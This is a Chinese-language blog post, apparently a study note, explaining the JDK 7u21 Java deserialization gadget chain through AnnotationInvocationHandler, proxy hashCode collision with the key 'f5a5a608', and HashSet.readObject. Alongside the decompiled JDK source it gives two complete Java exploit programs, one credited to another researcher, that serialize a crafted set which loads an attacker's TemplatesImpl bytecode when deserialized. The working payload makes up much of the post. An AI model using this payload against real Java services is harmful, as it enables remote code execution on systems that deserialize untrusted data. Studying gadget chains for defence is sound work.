Java反序列化漏洞学习(二) Jdk7u21利用链分析
JDK7u21的核心点是我们在cc1中也出现过的AnnotationInvocationHandler,在cc1中我们用到了他会触发this.memberValues.get(var4);这个点,而在JDK7u21中利用到了他里面的equalsImpl。先来看一下equalsImpl。
private Boolean equalsImpl(Object var1) { if (var1 == this) { return true; } else if (!this.type.isInstance(var1)) { return false; } else { //获取一个Method列表 Method[] var2 = this.getMemberMethods(); int var3 = var2.length; //遍历列表 for(int var4 = 0; var4 < var3; ++var4) { Method var5 = var2[var4]; String var6 = var5.getName(); Object var7 = this.memberValues.get(var6); Object var8 = null; //判断var1是否为AnnotationInvocationHandler对象,如果是的化返回对象 //不是的话返回null AnnotationInvocationHandler var9 = this.asOneOfUs(var1); if (var9 != null) { var8 = var9.memberValues.get(var6); } else { try { //调用Method方法 var8 = var5.invoke(var1); } catch (InvocationTargetException var11) { return false; } catch (IllegalAccessException var12) { throw new AssertionError(var12); } } if (!memberValueEquals(var7, var8)) { return false; } } return true; }} private Method[] getMemberMethods() { if (this.memberMethods == null) { this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction() { public Method[] run() { //获取this.type类的所有方法 Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods(); AccessibleObject.setAccessible(var1, true); return var1;}} );} return this.memberMethods;}
遍历执行了this.type指向的类的所有方法,如果我们将this.type赋值为Templates.class,equalsImpl中传入TemplatesImpl就会执行他的getOutputProperties方法,而我们在前面也讲过getOutputProperties会触发类加载最后会执行我们的恶意类。
public Object invoke(Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) { return this.equalsImpl(var3[0]); } else { assert var5.length == 0; if (var4.equals("toString")) { return this.toStringImpl(); } else if (var4.equals("hashCode")) { return this.hashCodeImpl(); } else if (var4.equals("annotationType")) { return this.type; } else { Object var6 = this.memberValues.get(var4); if (var6 == null) { throw new IncompleteAnnotationException(this.type, var4); } else if (var6 instanceof ExceptionProxy) { throw ((ExceptionProxy)var6).generateException(); } else { if (var6.getClass().isArray() && Array.getLength(var6) != 0) { var6 = this.cloneArray(var6); } return var6; } } }}
在AnnotationInvocationHandler的invoke中调用了equalsImpl。如果代理的对象执行了equals方法就会进入equalsImpl,传入proxy对象的第一个参数进入equalsImpl。一个简单的demo演示一下如何利用equalsImpl。
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool; import javax.xml.transform.Templates;import java.lang.reflect.*;import java.util.HashMap;import java.util.Map; public class JDK7u21 { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][]{ ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode() }); setFieldValue(templates, "_name", "HelloTemplatesImpl"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class); handlerConstructor.setAccessible(true); //this.type传入Templates.class InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, new HashMap()); //生成代理对象 Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler); //手动触发proxy的equals方法,参数传入我们的恶意TemplatesImpl proxy.equals(templates); } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }}
之后就是找哪里的反序列化会调用到我们的equals方法。看到HashMap的put方法
public V put(K key, V value) { if (key == null) return putForNullKey(value); //计算对象的hash int hash = hash(key); //计算放在table的索引 int i = indexFor(hash, table.length); //如果索引位置已经有元素进去for循环 for (HashMap.Entry e = table[i]; e != null; e = e.next) { Object k; //如果两个对象的hash相同就判断两对象是否是同一个,如果不是就是调用equals比较 if (e.hash == hash && ((k = e.key) == key || key.equals(k))) { V oldValue = e.value; e.value = value; e.recordAccess(this); return oldValue; } } modCount++; addEntry(hash, key, value, i); return null;}
我们只要第一次put恶意的TemplatesImpl对象,第二次put一个proxy对象就可以构造出,proxy.equals(TemplatesImpl)。但是还需要让两对象的hash相同。看看hash方法是怎么计算hash的。
final int hash(Object k) { int h = 0; if (useAltHashing) { if (k instanceof String) { return sun.misc.Hashing.stringHash32((String) k); } h = hashSeed; } h ^= k.hashCode(); h ^= (h >>> 20) ^ (h >>> 12); return h ^ (h >>> 7) ^ (h >>> 4);}
两对象的hash结果是否相等取决于他们的hashCode方法返回是否相等,TemplateImpl的hashCode() 是一个Native方法,每次运 行都会发生变化,所以要让两个对象的hash相等只能寄希望于proxy.hashcode。调用proxy.hashcode也会进入到AnnotationInvocationHandler的invoke方法接着进入到hashCodeImpl方法。
private int hashCodeImpl() { int var1 = 0; Map.Entry var3; for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) { var3 = (Map.Entry)var2.next(); } return var1;}
也就是我们的结果是所有的(127 * key.hashCode())^value.hashCode()的和。
JDK7u21中使用了一个非常巧妙的方法:
•当memberValues中只有一个entry时结果可以简化成(127 * key.hashCode())^value.hashCode()
•当key,hashCode=0时结果可以简化成value.hashCode
•当value 就是TemplateImpl对象时,这两个哈希就变成完全相等
在HashSet的readObject中使用到了HashMap来去重
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // Read in any hidden serialization magic s.defaultReadObject(); // Read in HashMap capacity and load factor and create backing HashMap int capacity = s.readInt(); float loadFactor = s.readFloat(); map = (((HashSet)this) instanceof LinkedHashSet ? new LinkedHashMap(capacity, loadFactor) : new HashMap(capacity, loadFactor)); // Read in size int size = s.readInt(); // Read in all elements in the proper order. for (int i=0; i E e = (E) s.readObject(); map.put(e, PRESENT); }}
然后漏洞的流程就很明了了,我这里直接贴p神的payload
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import org.apache.commons.codec.binary.Base64; import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.HashSet;import java.util.LinkedHashSet;import java.util.Map; public class JDK7u21 { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][]{ ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode() }); setFieldValue(templates, "_name", "HelloTemplatesImpl"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); String zeroHashCodeStr = "f5a5a608"; // 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值 HashMap map = new HashMap(); map.put(zeroHashCodeStr, "foo"); // 实例化AnnotationInvocationHandler类 Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class); handlerConstructor.setAccessible(true); InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map); // 为tempHandler创造一层代理 Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler); // 实例化HashSet,并将两个对象放进去 HashSet set = new LinkedHashSet(); set.add(templates); set.add(proxy); // 将恶意templates设置到map中 map.put(zeroHashCodeStr, templates); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(set); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }}
第一次map.put(zeroHashCodeStr, "foo");是为了set.add时候不触发利用链执行,而第二次 map.put(zeroHashCodeStr, templates);将真正的templates设置进去,这里因为他们的key都是相同的所以就是将旧的的value替换成templates。
